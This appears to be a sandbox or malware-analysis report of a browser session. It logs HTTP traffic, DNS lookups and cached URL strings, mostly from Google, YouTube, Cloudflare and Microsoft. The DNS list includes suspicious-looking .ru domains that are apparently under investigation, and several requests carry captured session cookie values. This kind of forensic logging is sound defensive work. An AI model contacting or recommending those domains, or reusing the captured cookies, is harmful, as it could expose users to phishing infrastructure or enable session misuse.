Source: global traffic	HTTP traffic detected: GET /js/th/bTS-krGMW8fDflzgOBqs4RfQ289v88xjeZzvxqf94UM.js HTTP/1.1Host: www.google.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiUocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUXSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.youtube-nocookie.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /94s5L5iEC6TInISXIFzVaVCaFgL62lEmSz3c9p2AHnjv7kmNAOXdWrgyndV-jttIC31K7AWWJw=s68-c-k-c0x00ffffff-no-rj HTTP/1.1Host: yt3.ggpht.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiUocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUXSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.youtube-nocookie.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /vi/MLWlWrRAb4w/maxresdefault.jpg HTTP/1.1Host: i.ytimg.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiUocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUXSec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /94s5L5iEC6TInISXIFzVaVCaFgL62lEmSz3c9p2AHnjv7kmNAOXdWrgyndV-jttIC31K7AWWJw=s68-c-k-c0x00ffffff-no-rj HTTP/1.1Host: yt3.ggpht.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiUocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUXSec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /s/player/03dbdfab/player_ias.vflset/en_US/remote.js HTTP/1.1Host: www.youtube-nocookie.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /js/th/bTS-krGMW8fDflzgOBqs4RfQ289v88xjeZzvxqf94UM.js HTTP/1.1Host: www.google.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiUocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUXSec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /log?format=json&hasfast=true&authuser=0 HTTP/1.1Host: play.google.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiUocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUXSec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: NID=520=kfqY4bKVTXsl_JmN0huMLLejPS0BFiNIrSMKgd5hO2WiOyiDXPCe-q9coJEY8Cmqq4Ab2h19MoLzjZlhbTJIG71YiNFmknpfCtJ7zrHW5sNCuxznj7t2lv5bcRYDg1qRBrY1oG5sFp0UV8SRlbjlcuAloyfCrjdYcNEBzTdlJnsRwEWoUzPVOlYN
Source: global traffic	HTTP traffic detected: GET /youtubei/v1/log_event?alt=json HTTP/1.1Host: www.youtube-nocookie.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /log?format=json&hasfast=true&authuser=0 HTTP/1.1Host: play.google.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiUocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUXSec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: NID=520=kfqY4bKVTXsl_JmN0huMLLejPS0BFiNIrSMKgd5hO2WiOyiDXPCe-q9coJEY8Cmqq4Ab2h19MoLzjZlhbTJIG71YiNFmknpfCtJ7zrHW5sNCuxznj7t2lv5bcRYDg1qRBrY1oG5sFp0UV8SRlbjlcuAloyfCrjdYcNEBzTdlJnsRwEWoUzPVOlYN
Source: global traffic	HTTP traffic detected: GET /log?format=json&hasfast=true&authuser=0 HTTP/1.1Host: play.google.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiUocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUXSec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: NID=520=pQ9F0Jw99iEx6_PIH4MTJNlFMolqEMddu5P7DewbzxnhGSfbOde7cOmm2PQBvHgKtPPJFKuM3r_liD78b2dohdopLBpwVM_DLzwYmK3LC3my321UfV3Rc-dZYEHxVa8Zyt9EUsD8cQ7D8T6WQXujiuSFO1uZSdzTEcX-trrY6Eu8tDKW1NP72MtA66elsHNW
Source: global traffic	HTTP traffic detected: GET /youtubei/v1/log_event?alt=json HTTP/1.1Host: www.youtube-nocookie.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9

Source: chromecache_231.2.dr	String found in binary or memory: <a class="d-inline-block" aria-label="Follow us on Facebook" title="Follow us on Facebook" href="https://www.facebook.com/M365Dev/" target="_blank" data-bi-name="social_follow-us-on-facebook"> equals www.facebook.com (Facebook)
Source: chromecache_231.2.dr	String found in binary or memory: <a class="d-inline-block" aria-label="Follow us on LinkedIn" title="Follow us on LinkedIn" href="https://www.linkedin.com/showcase/microsoft365dev" target="_blank" data-bi-name="social_follow-us-on-linkedin"> equals www.linkedin.com (Linkedin)
Source: chromecache_231.2.dr	String found in binary or memory: <a class="d-inline-block" aria-label="Follow us on YouTube" title="Follow us on YouTube" href="https://www.youtube.com/channel/UCV_6HOhwxYLXAGd-JOqKPoQ" target="_blank" data-bi-name="social_follow-us-on-youtube"> equals www.youtube.com (Youtube)
Source: chromecache_231.2.dr	String found in binary or memory: <a class="d-inline-block social-media-share" aria-label="Share this page on Facebook" title="Share this page on Facebook" href="https://www.facebook.com/sharer/sharer.php?u=" target="_blank" data-bi-name="social_share-this-page-on-facebook"> equals www.facebook.com (Facebook)
Source: chromecache_207.2.dr	String found in binary or memory: <a href="https://www.youtube.com/@code"><img src="/assets/icons/youtube-icon.svg" alt="VS Code on YouTube"></a> equals www.youtube.com (Youtube)
Source: chromecache_207.2.dr	String found in binary or memory: "https://www.youtube.com/code", equals www.youtube.com (Youtube)
Source: chromecache_234.2.dr, chromecache_304.2.dr	String found in binary or memory: (g.Dq(V,"redirector.googlevideo.com"),N=V.toString()):V.T.match("rr?[1-9].*\\.c\\.youtube\\.com$")?(g.Dq(V,"www.youtube.com"),N=V.toString()):(V=XQ9(N),XY(V)&&(N=V));V=new g.v1(N);V.set("cmo=pf","1");H&&V.set("cmo=td","a1.googlevideo.com");return V}; equals www.youtube.com (Youtube)
Source: chromecache_234.2.dr, chromecache_304.2.dr	String found in binary or memory: 0?"http":"https";this.Vn=H8((C?C.customBaseYoutubeUrl:p.BASE_YT_URL)\|\|"")\|\|H8(this.iW)\|\|this.protocol+"://www.youtube.com/";d=C?C.eventLabel:p.el;N="detailpage";d==="adunit"?N=this.S?"embedded":"detailpage":d==="embedded"\|\|this.D?(N=hm(N,d,gru),d!=="shortsaudiopivot"\|\|this.G("web_player_shorts_audio_pivot_event_label")\|\|(N="detailpage")):d&&(N="embedded");this.Wr=N;oQH();d=null;N=C?C.playerStyle:p.ps;X=g.W5(W$L,N);!N\|\|X&&!this.D\|\|(d=N);this.playerStyle=d;this.Y=g.W5(W$L,this.playerStyle);this.houseBrandUserStatus= equals www.youtube.com (Youtube)
Source: chromecache_207.2.dr	String found in binary or memory: <p>We ship updates and new features for GitHub Copilot every month. The best way to keep up with the latest and greatest in AI coding is to follow us on <a href="https://twitter.com/code" class="external-link" target="_blank">X</a>, <a href="https://bsky.app/profile/vscode.dev" class="external-link" target="_blank">Bluesky</a>, <a href="https://www.linkedin.com/showcase/vs-code/" class="external-link" target="_blank">LinkedIn</a>, and even <a href="https://www.tiktok.com/@vscode" class="external-link" target="_blank">TikTok</a>. We'll give you the updates as they drop - short and sweet - right in your feed.</p> equals www.linkedin.com (Linkedin)
Source: chromecache_207.2.dr	String found in binary or memory: <p>We ship updates and new features for GitHub Copilot every month. The best way to keep up with the latest and greatest in AI coding is to follow us on <a href="https://twitter.com/code" class="external-link" target="_blank">X</a>, <a href="https://bsky.app/profile/vscode.dev" class="external-link" target="_blank">Bluesky</a>, <a href="https://www.linkedin.com/showcase/vs-code/" class="external-link" target="_blank">LinkedIn</a>, and even <a href="https://www.tiktok.com/@vscode" class="external-link" target="_blank">TikTok</a>. We'll give you the updates as they drop - short and sweet - right in your feed.</p> equals www.twitter.com (Twitter)
Source: chromecache_234.2.dr, chromecache_304.2.dr	String found in binary or memory: C=this.api.K();p=this.api.getVideoData();var V="";C.V\|\|(C=g.zM(C),C.indexOf("www.")===0&&(C=C.substring(4)),V=g.t_(p)?"Watch on YouTube Music":C==="youtube.com"?"Watch on YouTube":g.Ks("Watch on $WEBSITE",{WEBSITE:C}));this.updateValue("title",V)}; equals www.youtube.com (Youtube)
Source: chromecache_304.2.dr	String found in binary or memory: GTy=function(p,C){if(!p.T["0"]){var V=new WB("0","fakesb",{video:new wO(0,0,0,void 0,void 0,"auto")});p.T["0"]=C?new zn(new g.v1("http://www.youtube.com/videoplayback"),V,"fake"):new VM(new g.v1("http://www.youtube.com/videoplayback"),V,new D0(0,0),new D0(0,0))}}; equals www.youtube.com (Youtube)
Source: chromecache_304.2.dr	String found in binary or memory: YI.prototype.Wd=function(){return this.w7.l()};var Vry=(new Date).getTime();var dkY="://secure-...imrworldwide.com/ ://cdn.imrworldwide.com/ ://aksecure.imrworldwide.com/ ://[^.]*.moatads.com ://youtube[0-9]+.moatpixel.com ://pm.adsafeprotected.com/youtube ://pm.test-adsafeprotected.com/youtube ://e[0-9]+.yt.srs.doubleverify.com www.google.com/pagead/xsul www.youtube.com/pagead/slav".split(" "),ihu=/\bocr\b/;var soV=/(?:\[\|%5B)([a-zA-Z0-9_]+)(?:\]\|%5D)/g;var ZhY=0,uLH=0,Uk1=0;var e0=null,Po=!1,vcy=1,LX=Symbol("SIGNAL"),gE={version:0,lIa:0,d2:!1,F4:void 0,Qw:void 0,mF:void 0,KG:0,uf:void 0,Kg:void 0,bH:!1,pE:!1,kind:"unknown",zbV:function(){return!1}, equals www.youtube.com (Youtube)
Source: chromecache_234.2.dr, chromecache_304.2.dr	String found in binary or memory: g.GM=function(p){var C=g.zM(p);Ha9.includes(C)&&(C="www.youtube.com");return p.protocol+"://"+C}; equals www.youtube.com (Youtube)
Source: chromecache_304.2.dr	String found in binary or memory: g.h.getVideoUrl=function(p,C,V,N,H,X,d){C={list:C};V&&(H?C.time_continue=V:C.t=V);V=d?"music.youtube.com":g.zM(this);H=V==="www.youtube.com";!X&&N&&H?X="https://youtu.be/"+p:g.yj(this)?(X="https://"+V+"/fire",C.v=p):(X&&H?(X=this.protocol+"://"+V+"/shorts/"+p,N&&(C.feature="share")):(X=this.protocol+"://"+V+"/watch",C.v=p),BW&&(p=LGj())&&(C.ebc=p));return g.GD(X,C)}; equals www.youtube.com (Youtube)
Source: chromecache_234.2.dr, chromecache_304.2.dr	String found in binary or memory: g.zM=function(p){p=AR(p.Vn);return p==="www.youtube-nocookie.com"?"www.youtube.com":p}; equals www.youtube.com (Youtube)
Source: chromecache_304.2.dr	String found in binary or memory: p))):this.api.K().G("enable_adb_handling_in_sabr")&&V==="BROWSER_OR_EXTENSION_ERROR"&&!N.Y?(N=N.hostLanguage,p="//support.google.com/youtube/answer/3037019#zippy=%2Cupdate-your-browser-and-check-your-extensions",N&&(p=g.GD(p,{hl:N})),this.Jc(j4(this,"BROWSER_OR_EXTENSION_ERROR",p))):this.Jc(g.pZ(p.errorMessage)):this.Jc(j4(this,"HTML5_NO_AVAILABLE_FORMATS_FALLBACK_WITH_LINK_SHORT","//www.youtube.com/supported_browsers")):(p=N.hostLanguage,V="//support.google.com/youtube/?p=player_error1",p&&(V=g.GD(V, equals www.youtube.com (Youtube)
Source: chromecache_234.2.dr, chromecache_304.2.dr	String found in binary or memory: p.details.rc!=="429"?p.errorCode==="ump.spsrejectfailure"&&(H="HTML5_SPS_UMP_STATUS_REJECTED"):(H="TOO_MANY_REQUESTS",X="6");this.Ta.a_(p.errorCode,p.severity,H,yu(p.details),X)}else this.Ta.publish("nonfatalerror",p),N=/^pp/.test(this.videoData.clientPlaybackNonce),this.oN(p.errorCode,p.details),N&&p.errorCode==="manifest.net.connect"&&(p="https://www.youtube.com/generate_204?cpn="+this.videoData.clientPlaybackNonce+"&t="+(0,g.Ip)(),kv(p,"manifest",function(d){C.Y=!0;C.k_("pathprobe",d)},function(d){C.oN(d.errorCode, equals www.youtube.com (Youtube)
Source: chromecache_304.2.dr	String found in binary or memory: this.KS=!this.va;this.enabledEngageTypes=new Set;this.deviceIsAudioOnly=!(C==null\|\|!C.deviceIsAudioOnly);this.I6=sB(this.I6,p.ismb);this.MR?(M=p.vss_host\|\|"s.youtube.com",M==="s.youtube.com"&&(M=AR(this.Vn)\|\|"www.youtube.com")):M="video.google.com";this.jS=M;og(this,p,!0);this.vr=new CI;g.R(this,this.vr);T=C?C.innertubeApiKey:a_("",p.innertube_api_key);c=C?C.innertubeApiVersion:a_("",p.innertube_api_version);M=C?C.innertubeContextClientVersion:a_("",p.innertube_context_client_version);T=g.pO("INNERTUBE_API_KEY")\|\| equals www.youtube.com (Youtube)
Source: chromecache_234.2.dr, chromecache_304.2.dr	String found in binary or memory: this.yn.sY&&(p.authuser=this.yn.sY);this.yn.pageId&&(p.pageid=this.yn.pageId);isNaN(this.cryptoPeriodIndex)\|\|(p.cpi=this.cryptoPeriodIndex.toString());var H=(H=/_(TV\|STB\|GAME\|OTT\|ATV\|BDP)_/.exec(g.f0()))?H[1]:"";H==="ATV"&&(p.cdt=H);this.W=p;this.W.session_id=N;this.a$=!0;this.C.flavor==="widevine"&&(this.W.hdr="1");this.C.flavor==="playready"&&(C=Number(Wb(C.experiments,"playready_first_play_expiration")),!isNaN(C)&&C>=0&&(this.W.mfpe=""+C),this.a$=!1);C="";g.o5(this.C)?Az(this.C)?(N=V.C)&&(C="https://www.youtube.com/api/drm/fps?ek="+ equals www.youtube.com (Youtube)
Source: chromecache_234.2.dr, chromecache_304.2.dr	String found in binary or memory: var uk={};var fmP={YE:[{Rn:/Unable to load player module/,weight:20},{Rn:/Failed to fetch/,weight:500},{Rn:/XHR API fetch failed/,weight:10},{Rn:/JSON parsing failed after XHR fetch/,weight:10},{Rn:/Retrying OnePlatform request/,weight:10},{Rn:/CSN Missing or undefined during playback association/,weight:100},{Rn:/Non-recoverable error. Do not retry./,weight:0},{Rn:/Internal Error. Retry with an exponential backoff./,weight:0},{Rn:/API disabled by application./,weight:0}],y8:[{callback:cu9,weight:500}]};var fPX=/[&\?]action_proxy=1/,UJs=/[&\?]token=([\w-])/,OLY=/[&\?]video_id=([\w-])/,yuQ=/[&\?]index=([\d-])/,qqv=/[&\?]m_pos_ms=([\d-])/,bLy=/[&\?]vvt=([\w-]*)/,mJV="ca_type dt el flash u_tz u_his u_h u_w u_ah u_aw u_cd u_nplug u_nmime frm u_java bc bih biw brdim vis wgl".split(" "),IPH="www.youtube-nocookie.com youtube-nocookie.com www.youtube-nocookie.com:443 youtube.googleapis.com www.youtubeedu.com www.youtubeeducation.com video.google.com redirector.gvt1.com".split(" "),SqX={android:"ANDROID", equals www.youtube.com (Youtube)

Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: n0.kolivane.ru
Source: global traffic	DNS traffic detected: DNS query: code.jquery.com
Source: global traffic	DNS traffic detected: DNS query: challenges.cloudflare.com
Source: global traffic	DNS traffic detected: DNS query: cdnjs.cloudflare.com
Source: global traffic	DNS traffic detected: DNS query: a.nel.cloudflare.com
Source: global traffic	DNS traffic detected: DNS query: bezpz7qcm1hhahypu4fla2o1q0s1mphgq5y8dsqo4c6yynrnqqkv.aeeouirl.ru
Source: global traffic	DNS traffic detected: DNS query: cdn.graph.office.net
Source: global traffic	DNS traffic detected: DNS query: js.monitor.azure.com
Source: global traffic	DNS traffic detected: DNS query: mem.gfx.ms
Source: global traffic	DNS traffic detected: DNS query: aka.ms
Source: global traffic	DNS traffic detected: DNS query: code.visualstudio.com
Source: global traffic	DNS traffic detected: DNS query: consentdeliveryfd.azurefd.net
Source: global traffic	DNS traffic detected: DNS query: www.youtube-nocookie.com
Source: global traffic	DNS traffic detected: DNS query: i.ytimg.com
Source: global traffic	DNS traffic detected: DNS query: yt3.ggpht.com
Source: global traffic	DNS traffic detected: DNS query: play.google.com

Source: unknown

HTTP traffic detected: POST /cdn-cgi/challenge-platform/h/b/flow/ov1/331006800:1735539205:PsA15hNH3gEP9lrfrYNXY01wbtfIJRXkUPb-l6YIT3U/8fa030fc5af14414/Iswu3frafbm9dPBeeQm7EKc.59E_J1rgB_HX7L1BdLw-1735542430-1.1.1.1-EfnkcgitkmNBzy_Mapk_DGq7cSKCZGygmWO9GGyq1puyBD9ACGzuYk_n7w43A7UJ HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveContent-Length: 3254sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Content-type: application/x-www-form-urlencodedCF-Chl-RetryAttempt: 0sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36CF-Challenge: Iswu3frafbm9dPBeeQm7EKc.59E_J1rgB_HX7L1BdLw-1735542430-1.1.1.1-EfnkcgitkmNBzy_Mapk_DGq7cSKCZGygmWO9GGyq1puyBD9ACGzuYk_n7w43A7UJsec-ch-ua-platform: "Windows"Accept: */*Origin: https://challenges.cloudflare.comSec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv/8qssp/0x4AAAAAAA1viUI4UDuMAibc/auto/fbE/normal/auto/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9

Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Mon, 30 Dec 2024 07:07:11 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCache-Control: max-age=14400Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=JqB3F5EOlEPxCdIStf0UyImEbIAWi6hPoBlM5xwmpLi3ENnno6TtTC5tdDleX29MbhmykbAVBcvAaKXG%2FELQNVkaJhG%2FnsW3oBQiJZ9cxSJKLhOAFI4Zljw4FawrrA%3D%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Vary: Accept-Encodingalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=1821&min_rtt=1373&rtt_var=782&sent=4&recv=8&lost=0&retrans=0&sent_bytes=2826&recv_bytes=2228&delivery_rate=2045977&cwnd=252&unsent_bytes=0&cid=b543fea35cf5a12c&ts=412&x=0"CF-Cache-Status: MISSServer: cloudflareCF-RAY: 8fa031024b2a7cae-EWRserver-timing: cfL4;desc="?proto=TCP&rtt=1959&min_rtt=1949&rtt_var=751&sent=6&recv=8&lost=0&retrans=0&sent_bytes=2824&recv_bytes=1893&delivery_rate=1437007&cwnd=195&unsent_bytes=0&cid=a3b304edf40998de&ts=4363&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Mon, 30 Dec 2024 07:07:12 GMTContent-Type: application/jsonContent-Length: 7Connection: closecf-chl-out: MgQNr3gEXZcOE2eDQd0CP4g9NAORFglJvEU=$xxoyDBCl4vq1SfrXcache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0Server: cloudflareCF-RAY: 8fa0310bf9e40f51-EWRalt-svc: h3=":443"; ma=86400
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Mon, 30 Dec 2024 07:07:16 GMTContent-Type: application/jsonContent-Length: 7Connection: closecf-chl-out: xiWZZQ/bgv2DxX8aCi5pvdsnFDI4gqBe8us=$weZeDUmFur2yImUTcache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0Server: cloudflareCF-RAY: 8fa031217b2041fb-EWRalt-svc: h3=":443"; ma=86400
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Mon, 30 Dec 2024 07:07:22 GMTContent-Type: application/jsonContent-Length: 7Connection: closecf-chl-out: cdXJWTe3XwqPR+FJ1iTHsPpjpZFE5Ov+Hqw=$4CzMigQEO8l1OW7pcache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0Server: cloudflareCF-RAY: 8fa0314bdab743eb-EWRalt-svc: h3=":443"; ma=86400

Source: chromecache_312.2.dr	String found in binary or memory: http://getbootstrap.com)
Source: chromecache_233.2.dr, chromecache_276.2.dr, chromecache_225.2.dr, chromecache_160.2.dr	String found in binary or memory: http://github.com/requirejs/almond/LICENSE
Source: chromecache_207.2.dr	String found in binary or memory: http://schema.org
Source: chromecache_231.2.dr	String found in binary or memory: http://schema.org/Organization
Source: chromecache_155.2.dr, chromecache_278.2.dr, chromecache_234.2.dr, chromecache_304.2.dr	String found in binary or memory: http://tools.ietf.org/html/rfc1950
Source: chromecache_256.2.dr, chromecache_229.2.dr	String found in binary or memory: http://underscorejs.org/LICENSE
Source: chromecache_159.2.dr, chromecache_192.2.dr, chromecache_208.2.dr, chromecache_183.2.dr	String found in binary or memory: http://www.videolan.org/x264.html
Source: chromecache_304.2.dr	String found in binary or memory: http://www.youtube.com/videoplayback
Source: chromecache_234.2.dr, chromecache_304.2.dr	String found in binary or memory: http://youtube.com/drm/2012/10/10
Source: chromecache_234.2.dr, chromecache_304.2.dr	String found in binary or memory: http://youtube.com/streaming/metadata/segment/102015
Source: chromecache_234.2.dr, chromecache_304.2.dr	String found in binary or memory: http://youtube.com/streaming/otf/durations/112015
Source: chromecache_234.2.dr, chromecache_304.2.dr	String found in binary or memory: http://youtube.com/yt/2012/10/10
Source: chromecache_234.2.dr, chromecache_304.2.dr	String found in binary or memory: https://admin.youtube.com
Source: chromecache_231.2.dr	String found in binary or memory: https://aka.ms/M365DevCalls
Source: chromecache_207.2.dr	String found in binary or memory: https://aka.ms/copilot-free-vs
Source: chromecache_207.2.dr	String found in binary or memory: https://aka.ms/vscode-activatecopilotfree
Source: chromecache_231.2.dr	String found in binary or memory: https://aka.ms/yourcaliforniaprivacychoices
Source: chromecache_234.2.dr, chromecache_304.2.dr	String found in binary or memory: https://angular.dev/license
Source: chromecache_207.2.dr	String found in binary or memory: https://bsky.app/profile/vscode.dev
Source: chromecache_231.2.dr	String found in binary or memory: https://cdn.graph.office.net/prod/Scripts/1ds-privacy-guard-js-3212/bundle/ms.privacyguard-3.2.12.mi
Source: chromecache_231.2.dr	String found in binary or memory: https://cdn.graph.office.net/prod/css/Moray/v2.20.0/bundle.min.js
Source: chromecache_231.2.dr	String found in binary or memory: https://cdn.graph.office.net/prod/css/Moray/v2.20.0/main.min.css
Source: chromecache_231.2.dr	String found in binary or memory: https://cdn.graph.office.net/prod/media/graph/CARD_BG1_VP1.png?v=
Source: chromecache_231.2.dr	String found in binary or memory: https://cdn.graph.office.net/prod/media/graph/CARD_BG1_VP2.png?v=
Source: chromecache_231.2.dr	String found in binary or memory: https://cdn.graph.office.net/prod/media/graph/CARD_BG1_VP3.png?v=
Source: chromecache_231.2.dr	String found in binary or memory: https://cdn.graph.office.net/prod/media/graph/CARD_BG1_VP4.png?v=
Source: chromecache_231.2.dr	String found in binary or memory: https://cdn.graph.office.net/prod/media/graph/CARD_BG1_VP5.png?v=
Source: chromecache_231.2.dr	String found in binary or memory: https://cdn.graph.office.net/prod/media/graph/CARD_BG2_VP1.png?v=
Source: chromecache_231.2.dr	String found in binary or memory: https://cdn.graph.office.net/prod/media/graph/CARD_BG2_VP2.png?v=
Source: chromecache_231.2.dr	String found in binary or memory: https://cdn.graph.office.net/prod/media/graph/CARD_BG2_VP3.png?v=
Source: chromecache_231.2.dr	String found in binary or memory: https://cdn.graph.office.net/prod/media/graph/CARD_BG2_VP4.png?v=
Source: chromecache_231.2.dr	String found in binary or memory: https://cdn.graph.office.net/prod/media/graph/CARD_BG2_VP5.png?v=
Source: chromecache_231.2.dr	String found in binary or memory: https://cdn.graph.office.net/prod/media/graph/CARD_BG3_VP1.png?v=
Source: chromecache_231.2.dr	String found in binary or memory: https://cdn.graph.office.net/prod/media/graph/CARD_BG3_VP2.png?v=
Source: chromecache_231.2.dr	String found in binary or memory: https://cdn.graph.office.net/prod/media/graph/CARD_BG3_VP3.png?v=
Source: chromecache_231.2.dr	String found in binary or memory: https://cdn.graph.office.net/prod/media/graph/CARD_BG3_VP4.png?v=
Source: chromecache_231.2.dr	String found in binary or memory: https://cdn.graph.office.net/prod/media/graph/CARD_BG3_VP5.png?v=
Source: chromecache_231.2.dr	String found in binary or memory: https://cdn.graph.office.net/prod/media/graph/CARD_BG4_VP1.png?v=
Source: chromecache_231.2.dr	String found in binary or memory: https://cdn.graph.office.net/prod/media/graph/CARD_BG4_VP2.png?v=
Source: chromecache_231.2.dr	String found in binary or memory: https://cdn.graph.office.net/prod/media/graph/CARD_BG4_VP3.png?v=
Source: chromecache_231.2.dr	String found in binary or memory: https://cdn.graph.office.net/prod/media/graph/CARD_BG4_VP4.png?v=
Source: chromecache_231.2.dr	String found in binary or memory: https://cdn.graph.office.net/prod/media/graph/CARD_BG4_VP5.png?v=
Source: chromecache_231.2.dr	String found in binary or memory: https://cdn.graph.office.net/prod/media/graph/Graph_gratstarted_VP1.webp?v=
Source: chromecache_231.2.dr	String found in binary or memory: https://cdn.graph.office.net/prod/media/graph/Graph_gratstarted_VP2.webp?v=
Source: chromecache_231.2.dr	String found in binary or memory: https://cdn.graph.office.net/prod/media/graph/Graph_gratstarted_VP3.webp?v=
Source: chromecache_231.2.dr	String found in binary or memory: https://cdn.graph.office.net/prod/media/graph/Graph_gratstarted_VP4.webp?v=
Source: chromecache_231.2.dr	String found in binary or memory: https://cdn.graph.office.net/prod/media/graph/Graph_gratstarted_VP5.webp?v=
